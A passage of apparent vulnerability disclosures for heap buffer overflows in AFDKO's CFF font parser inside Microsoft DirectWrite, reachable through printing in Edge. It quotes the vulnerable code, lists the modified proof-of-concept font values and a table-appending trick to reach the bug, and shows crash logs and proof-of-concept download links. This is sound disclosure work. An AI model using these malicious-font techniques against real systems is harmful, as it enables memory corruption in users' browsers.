specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the charset information of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below: --- cut --- [...] 2179 case 1: 2180 size = 1; 2181 /* Fall through */ 2182 case 2: 2183 while (gid < h->glyphs.cnt) { 2184 unsigned short id = read2(h); 2185 long nLeft = readN(h, size); 2186 while (nLeft-- >= 0) 2187 addID(h, gid++, id++); 2188 } 2189 break; --- cut --- whereas addID() is defined as follows: --- cut --- 1838 /* Add SID/CID to charset */ 1839 static void addID(cfrCtx h, long gid, unsigned short id) { 1840 abfGlyphInfo *info = &h->glyphs.array[gid]; 1841 if (h->flags & CID_FONT) 1842 /* Save CID */ 1843 info->cid = id; 1844 else { 1845 /* Save SID */ 1846 info->gname.impl = id; 1847 info->gname.ptr = sid2str(h, id); 1848 1849 /* Non-CID font so select FD[0] */ 1850 info->iFD = 0; [...] 1859 } 1860 } --- cut --- The readCharset() routine doesn't consider the size of the h->glyphs array and writes to it solely based on the charset information. If the value read from the input stream in line 2185 exceeds the number of glyphs in the font, the array may be overflown in addID() (line 1843 or 1846, 1847, 1850), corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() according to the number of CharStrings found in the font: --- cut --- 1791 dnaSET_CNT(h->glyphs, index.count); --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept font contains a charset descriptor with the following initial values: - width = 0x02 (changed from 0x01) - id = 0x4141 (changed from 0x0001) - nLeft = 0xffff (changed from 0x15) By increasing the value of "nLeft" from 21 to 65535, we cause the loop in lines 2386-2387 to go largely out of bounds and overflow the h->glyphs array. In theory, the vulnerability shouldn't be possible to reach in Microsoft DirectWrite and its client applications, because AFDKO is only used there for instancing variable fonts, whereas such CFF2 fonts follow another execution path in the readCharset() function: --- cut --- 2138 if (h->header.major == 2) { 2139 postRead(h); 2140 if (h->cff2.mvar) 2141 MVARread(h); 2142 if (!(h->flags & CID_FONT)) 2143 readCharSetFromPost(h); 2144 else { 2145 long gid; 2146 for (gid = 0; gid < h->glyphs.cnt; gid++) { 2147 abfGlyphInfo *info = &h->glyphs.array[gid]; 2148 info->cid = (unsigned short)gid; 2149 } 2150 } 2151 return; 2152 } --- cut --- However, we have found that it is in fact possible to trigger the handling of CFFv1 in AFDKO, by appending the old style "CFF " table to a variable font which already includes a "CFF2" one. This causes DirectWrite to correctly load the variable font, but AFDKO still finds "CFF " first and passes it for further parsing, thanks to the following logic in srcOpen() (afdko/c/public/lib/source/cffread/cffread.c): --- cut --- 561 /* OTF; use CFF table offset */ 562 sfrTable *table = 563 sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', ' ')); 564 if (table == NULL) { 565 table = sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', '2')); 566 } 567 if (table == NULL) 568 fatal(h, cfrErrNoCFF); 569 origin = table->offset; --- cut --- -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==236657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b228 at pc 0x0000005563be bp 0x7ffe3c238d10 sp 0x7ffe3c238d08 WRITE of size 2 at 0x62a00000b228 thread T0 #0 0x5563bd in addID afdko/c/public/lib/source/cffread/cffread.c:1843:19 #1 0x53f71c in readCharset afdko/c/public/lib/source/cffread/cffread.c:2187:29 #2 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9 #3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #8 0x7f7bf34352b0 in __libc_start_main #9 0x41e5b9 in _start 0x62a00000b228 is located 40 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5 #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9 #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #12 0x7f7bf34352b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1843:19 in addID Shadow bytes around the buggy address: 0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c547fff9640: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa 0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==236657==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843 1843 info->cid = id; (gdb) print info $1 = (abfGlyphInfo *) 0x743000 (gdb) print &h->glyphs.array[gid] $2 = (abfGlyphInfo *) 0x743000 (gdb) print gid $3 = 2293 (gdb) x/10gx 0x743000 0x743000: Cannot access memory at address 0x743000 (gdb) bt #0 0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843 #1 0x0000000000412a57 in readCharset (h=0x7103a0) at ../../../../../source/cffread/cffread.c:2187 #2 0x000000000040dd64 in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789 #3 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #4 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf") at ../../../../source/tx.c:429 #5 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf") at ../../../../source/tx.c:488 #6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558 #7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631 (gdb) --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (4d58.50bc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!addID+0x33: 00007ffb`29e6864b 66895cfe28 mov word ptr [rsi+rdi*8+28h],bx ds:000001ea`f5fee000=???? 0:038> ? rsi Evaluate expression: 2108661076032 = 000001ea`f5fe9040 0:038> ? rdi Evaluate expression: 2547 = 00000000`000009f3 0:038> db rsi+rdi*8+28 000001ea`f5fee000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001ea`f5fee070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:038> k # Child-SP RetAddr Call Site 00 00000047`0fcfae10 00007ffb`29e6a262 DWrite!addID+0x33 01 00000047`0fcfae40 00007ffb`29e6de84 DWrite!readCharset+0x10a 02 00000047`0fcfae70 00007ffb`29e621e7 DWrite!cfrBegFont+0x5d8 03 00000047`0fcfb700 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f 04 00000047`0fcfbc00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 05 00000047`0fcfbde0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 06 00000047`0fcfc000 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 07 00000047`0fcfc360 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 08 00000047`0fcfc3f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 09 00000047`0fcfc510 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0a 00000047`0fcfc560 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44 0b 00000047`0fcfc5b0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0c 00000047`0fcfc5e0 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0d 00000047`0fcfc610 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0e 00000047`0fcfc650 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47095.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, the CFR_NO_ENCODING flag must be unset while interacting with AFDKO to trigger the bug. According to our analysis, DirectWrite currently does specify this flag, but it still contains the readEncoding() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_NO_ENCODING flag is ever removed in the future, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The readEncoding() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the encoding table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO, if the CFR_NO_ENCODING flag is not set. The relevant part of the function is shown below: --- cut --- 2288 fmt = read1(h); 2289 2290 switch (fmt & 0x7f) { 2291 case 0: 2292 cnt = read1(h); 2293 while (gid <= cnt) 2294 encAdd(h, &h->glyphs.array[gid++], read1(h)); 2295 break; 2296 case 1: 2297 cnt = read1(h); 2298 while (cnt--) { 2299 short code = read1(h); 2300 int nLeft = read1(h); 2301 while (nLeft-- >= 0) 2302 encAdd(h, &h->glyphs.array[gid++], code++); 2303 } 2304 break; 2305 default: 2306 fatal(h, cfrErrEncodingFmt); 2307 } --- cut --- In both loops in lines 2292-2294 and 2297-2303, the code doesn't consider the size of the h->glyphs array and writes to it solely based on the encoding information. If the values read from the input stream in lines 2292, 2297 and/or 2300 exceed the number of glyphs in the font, the array may be overflown by the encAdd() function, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font: --- cut --- 1791 dnaSET_CNT(h->glyphs, index.count); --- cut --- -----=====[ Proof of Concept ]=====----- The three attached proof of concept files were generated by a fuzzer running against the "tx" utility compiled with AddressSanitizer. They are not complete OpenType fonts but rather raw CFF streams, which causes tx to not use the CFR_NO_ENCODING flag, which is necessary to reach the vulnerable readEncoding() function (c/tx/source/tx.c): --- cut --- 425 case src_OTF: 426 h->cfr.flags |= CFR_NO_ENCODING; 427 /* Fall through */ 428 case src_CFF: 429 cfrReadFont(h, rec->offset, rec->iTTC); 430 break; --- cut --- -----=====[ Crash logs ]=====----- A 64-bit "tx" program compiled with ASAN crashes with the following report when started with a ./tx -cff poc.cff command: --- cut --- ================================================================= ==205898==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b220 at pc 0x0000005573aa bp 0x7fff35b2b5c0 sp 0x7fff35b2b5b8 READ of size 8 at 0x62a00000b220 thread T0 #0 0x5573a9 in encAdd afdko/c/public/lib/source/cffread/cffread.c:2203:14 #1 0x540f80 in readEncoding afdko/c/public/lib/source/cffread/cffread.c:2302:29 #2 0x529eb9 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2805:17 #3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #8 0x7f116e1722b0 in __libc_start_main #9 0x41e5b9 in _start 0x62a00000b220 is located 32 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5 #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9 #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #12 0x7f116e1722b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2203:14 in encAdd Shadow bytes around the buggy address: 0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c547fff9640: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==205898==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47093.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below: --- cut --- 2352 case 3: { 2353 int nRanges = read2(h); 2354 2355 gid = read2(h); 2356 while (nRanges--) { 2357 int fd = read1(h); 2358 long next = read2(h); 2359 2360 while (gid < next) 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; 2362 } 2363 } break; --- cut --- In the handling of FDSelect Type 3 (see [5]), the code doesn't consider the size of the h->glyphs array and writes to it solely based on the FDSelect information. If the values read from the input stream in lines 2353, 2355 and 2358 exceed the number of glyphs in the font, the array may be overflown in line 2361, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font: --- cut --- 1791 dnaSET_CNT(h->glyphs, index.count); --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept font contains an FDSelect table with the following initial values: - nRanges = 0x0001 - gid = 0x0000 - fd = 0x00 - next = 0xffff (modified from the original 0x0586) By increasing the value of "next" from 1414 to 65535, we cause the loop in lines 2360-2361 to go largely out of bounds and overflow the h->glyphs array. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==235715==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb8259a282a at pc 0x000000540130 bp 0x7ffe5b379f50 sp 0x7ffe5b379f48 WRITE of size 1 at 0x7fb8259a282a thread T0 #0 0x54012f in readFDSelect afdko/c/public/lib/source/cffread/cffread.c:2361:48 #1 0x529a3d in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2791:13 #2 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #3 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #4 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #5 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #6 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #7 0x7fb8246e02b0 in __libc_start_main #8 0x41e5b9 in _start 0x7fb8259a282a is located 42 bytes to the right of 143360-byte region [0x7fb82597f800,0x7fb8259a2800) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5 #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9 #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #12 0x7fb8246e02b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2361:48 in readFDSelect Shadow bytes around the buggy address: 0x0ff784b2c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff784b2c500: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==235715==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000412cd7 in readFDSelect (h=0x710380) at ../../../../../source/cffread/cffread.c:2361 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; (gdb) print gid $1 = 1998 (gdb) x/10i $rip => 0x412cd7 <readFDSelect+551>: mov %cl,0x2a(%rdx) 0x412cda <readFDSelect+554>: jmpq 0x412ca3 <readFDSelect+499> 0x412cdf <readFDSelect+559>: jmpq 0x412c23 <readFDSelect+371> 0x412ce4 <readFDSelect+564>: jmpq 0x412cf7 <readFDSelect+583> 0x412ce9 <readFDSelect+569>: mov -0x8(%rbp),%rdi 0x412ced <readFDSelect+573>: mov $0x1c,%esi 0x412cf2 <readFDSelect+578>: callq 0x40cbb0 <fatal> 0x412cf7 <readFDSelect+583>: mov -0x8(%rbp),%rax 0x412cfb <readFDSelect+587>: mov 0x35f8(%rax),%rax 0x412d02 <readFDSelect+594>: mov -0x8(%rbp),%rcx (gdb) info reg $rdx rdx 0x7ffff7ff7020 140737354100768 (gdb) x/10bx $rdx+0x2a 0x7ffff7ff704a: Cannot access memory at address 0x7ffff7ff704a --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (5960.48c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!readFDSelect+0xe9: 00007ffb`29e6bd39 40886c012a mov byte ptr [rcx+rax+2Ah],bpl ds:00000263`f1d43002=?? 0:038> ? rax Evaluate expression: 2628282101824 = 00000263`f1d23040 0:038> ? rcx Evaluate expression: 130968 = 00000000`0001ff98 0:038> db rax+rcx+2a 00000263`f1d43002 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43012 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43022 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43032 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43042 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43052 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43062 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43072 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:038> k # Child-SP RetAddr Call Site 00 0000006f`88b4aef0 00007ffb`29e6de90 DWrite!readFDSelect+0xe9 01 0000006f`88b4af20 00007ffb`29e621e7 DWrite!cfrBegFont+0x5e4 02 0000006f`88b4b7b0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f 03 0000006f`88b4bcb0 